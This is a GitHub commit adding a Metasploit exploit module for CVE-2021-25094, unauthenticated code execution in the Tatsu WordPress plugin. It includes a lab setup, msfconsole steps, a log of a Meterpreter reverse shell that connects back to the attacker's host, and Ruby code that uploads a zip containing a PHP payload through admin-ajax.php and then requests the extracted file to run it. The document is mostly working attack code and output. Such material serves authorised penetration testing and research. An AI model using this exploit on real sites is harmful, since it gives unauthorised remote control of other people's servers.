Skip to content

Commit 0b2e4bc

Browse files
committed
Adds module for CVE-2021-25094
1 parent 5d61c52 commit 0b2e4bc

File tree

3 files changed

+206
-0
lines changed

3 files changed

+206
-0
lines changed

data/wordlists/wp-exploitable-plugins.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -46,6 +46,7 @@ slideshow-gallery
4646
sp-client-document-manager
4747
subscribe-to-comments
4848
suretriggers
49+
tatsu
4950
ultimate-member
5051
user-registration
5152
user-registration-pro
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
## Vulnerable Application
2+
3+
This module exploits unauthenticated remote code execution in Tatsu plugin for Wordpress. The vulnerable version is below 3.3.11. The module upload malicious zip file containing PHP payload, which gets parsed and unzipped into Wordpress upload directory. Then module will trigger the payload by sending request with payload directory as URI. The vulnerable plugin is available [here](https://tatsubuilder.com/wp-content/uploads/edd/2022/03/tatsu-3.3.11.zip)
4+
5+
## Verification Steps
6+
7+
8+
1. Install the application
9+
1.1 Create `docker-compose.yml`
10+
```yaml
11+
services:
12+
13+
wordpress:
14+
image: wordpress:6.3.2
15+
restart: always
16+
ports:
17+
- 5555:80
18+
environment:
19+
WORDPRESS_DB_HOST: db
20+
WORDPRESS_DB_USER: ms
21+
WORDPRESS_DB_PASSWORD: supersecret
22+
WORDPRESS_DB_NAME: proof_of_concept
23+
volumes:
24+
- wordpress:/var/www/html
25+
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini
26+
27+
db:
28+
image: mysql:5.7
29+
restart: always
30+
environment:
31+
MYSQL_DATABASE: proof_of_concept
32+
MYSQL_USER: ms
33+
MYSQL_PASSWORD: supersecret
34+
MYSQL_ROOT_PASSWORD: supersecret
35+
volumes:
36+
- db:/var/lib/mysql
37+
38+
volumes:
39+
wordpress:
40+
db:
41+
42+
```
43+
1.2 Download [plugin](https://tatsubuilder.com/wp-content/uploads/edd/2022/03/tatsu-3.3.11.zip)
44+
1.3 Install the plugin in Wordpress admin portal
45+
46+
2. `msfconsole`
47+
3. `use multi/http/wp_tatsu_rce`
48+
4. `set RHOST [target IP]`
49+
5. `set RPORT [target PORT]`
50+
6. `set LHOST [attacker's IP]`
51+
7. `set LPORT [attacker's port]`
52+
53+
## Options
54+
55+
56+
### Version and OS
57+
58+
```
59+
`msf6 exploit(multi/http/wp_tatsu_rce) > run
60+
[*] Started reverse TCP handler on 192.168.168.128:4444
61+
[*] Sending stage (40004 bytes) to 172.18.0.2
62+
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 172.18.0.2:37718) at 2025-06-11 18:59:35 +0200
63+
[*] Starting interaction with 2...
64+
65+
meterpreter > sysinfo
66+
Computer : ff0d55ec29bf
67+
OS : Linux ff0d55ec29bf 6.12.10-76061203-generic #202412060638~1748542656~22.04~663e4dc SMP PREEMPT_DYNAMIC Thu M x86_64
68+
Meterpreter : php/linux
69+
meterpreter >
70+
```
Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Payload::Php
10+
include Msf::Exploit::FileDropper
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::Remote::HTTP::Wordpress
13+
# prepend Msf::Exploit::Remote::AutoCheck
14+
15+
def initialize(info = {})
16+
super(
17+
update_info(
18+
info,
19+
'Name' => 'Tatsu Wordpress Plugin RCE',
20+
'Description' => %q{
21+
This module adds exploit for CVE-2021-25094 - unauthenticated remote code execution in Tatsu Wordpress plugin <= 3.3.11. Module uploads malicious zip with PHP payload that gets executed in second part of exploit.
22+
},
23+
'Author' => [
24+
'Vincent Michel', # Vulnerability discovery
25+
'msutovsky-r7' # Metasploit module
26+
],
27+
'References' => [
28+
['CVE', '2021-25094'],
29+
['EDB', '52260']
30+
],
31+
'License' => MSF_LICENSE,
32+
'Privileged' => false,
33+
'Platform' => %w[php],
34+
'Arch' => [ARCH_PHP],
35+
'Targets' => [
36+
[
37+
'PHP',
38+
{
39+
'Platform' => 'php',
40+
'Arch' => ARCH_PHP
41+
# tested with php/meterpreter/reverse_tcp
42+
}
43+
]
44+
],
45+
'DefaultTarget' => 0,
46+
'DisclosureDate' => '2022-04-25',
47+
'Notes' => {
48+
'Stability' => [CRASH_SAFE],
49+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
50+
'Reliability' => [REPEATABLE_SESSION]
51+
}
52+
)
53+
)
54+
end
55+
56+
def create_zip
57+
zip_file = Rex::Zip::Archive.new
58+
@payload_file = '.' + Rex::Text.rand_text_alphanumeric(12) + '.php'
59+
zip_file.add_file(@payload_file, payload.encoded)
60+
zip_file.pack
61+
end
62+
63+
def upload_malicious_zip
64+
zip_payload = create_zip
65+
post_data = Rex::MIME::Message.new
66+
post_data.add_part('add_custom_font', nil, nil, 'form-data; name="action"')
67+
post_data.add_part(zip_payload, nil, nil, %(form-data; name="file"; filename="#{Rex::Text.rand_text_alphanumeric(12)}.zie"))
68+
69+
boundary = Rex::Text.rand_text_alphanumeric(32).to_s
70+
71+
data_post = "--#{boundary}\r\n"
72+
data_post << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
73+
data_post << "add_custom_font\r\n"
74+
data_post << "--#{boundary}\r\n"
75+
76+
data_post << "Content-Disposition: form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(12)}.zip\"\r\n\r\n"
77+
data_post << "#{zip_payload}\r\n"
78+
data_post << "--#{boundary}--\r\n"
79+
80+
res = send_request_cgi({
81+
'method' => 'POST',
82+
'uri' => normalize_uri('wp-admin/admin-ajax.php'),
83+
'ctype' => "multipart/form-data; boundary=#{boundary}",
84+
'data' => data_post
85+
})
86+
87+
fail_with Failure::Unknown, 'Unexpected response' unless res&.code == 200
88+
json_content = res.get_json_document
89+
90+
fail_with Failure::PayloadFailed, 'Failed to upload payload' unless json_content.fetch('status', nil) == 'success'
91+
92+
@zip_name = json_content.fetch('name', nil)
93+
94+
fail_with Failure::UnexpectedReply, 'Cannot get uploaded name' unless @zip_name
95+
end
96+
97+
def trigger_payload
98+
send_request_cgi({
99+
'method' => 'POST',
100+
'uri' => normalize_uri('/wp-content/uploads/typehub/custom/', @zip_name.downcase + '/', @payload_file)
101+
})
102+
end
103+
104+
def check
105+
return CheckCode::Unknown('Target not responding') unless wordpress_and_online?
106+
107+
wp_version = wordpress_version
108+
print_status("Detected WordPress version: #{wp_version}") if wp_version
109+
110+
res = send_request_cgi({
111+
'method' => 'GET',
112+
'uri' => normalize_uri('/wp-content/plugins/tatsu/changelog.md')
113+
})
114+
115+
return CheckCode::Unknown('Could not find tatsu plugin') unless res&.code == 200
116+
117+
changelog_body = res.body
118+
119+
return CheckCode::Detected('Could not find tatsu plugin') if changelog_body.blank?
120+
121+
return CheckCode::Safe('Failed to get version') unless changelog_body.match(/v(\d\d?.\d\d?.\d\d?)/)
122+
123+
version = Rex::Version.new(Regexp.last_match(1))
124+
125+
return CheckCode::Vulnerable("Found version #{version}") if version <= Rex::Version.new('3.3.11')
126+
127+
return CheckCode::Safe('Patched version detected')
128+
end
129+
130+
def exploit
131+
upload_malicious_zip
132+
trigger_payload
133+
end
134+
135+
end

0 commit comments

Comments
 (0)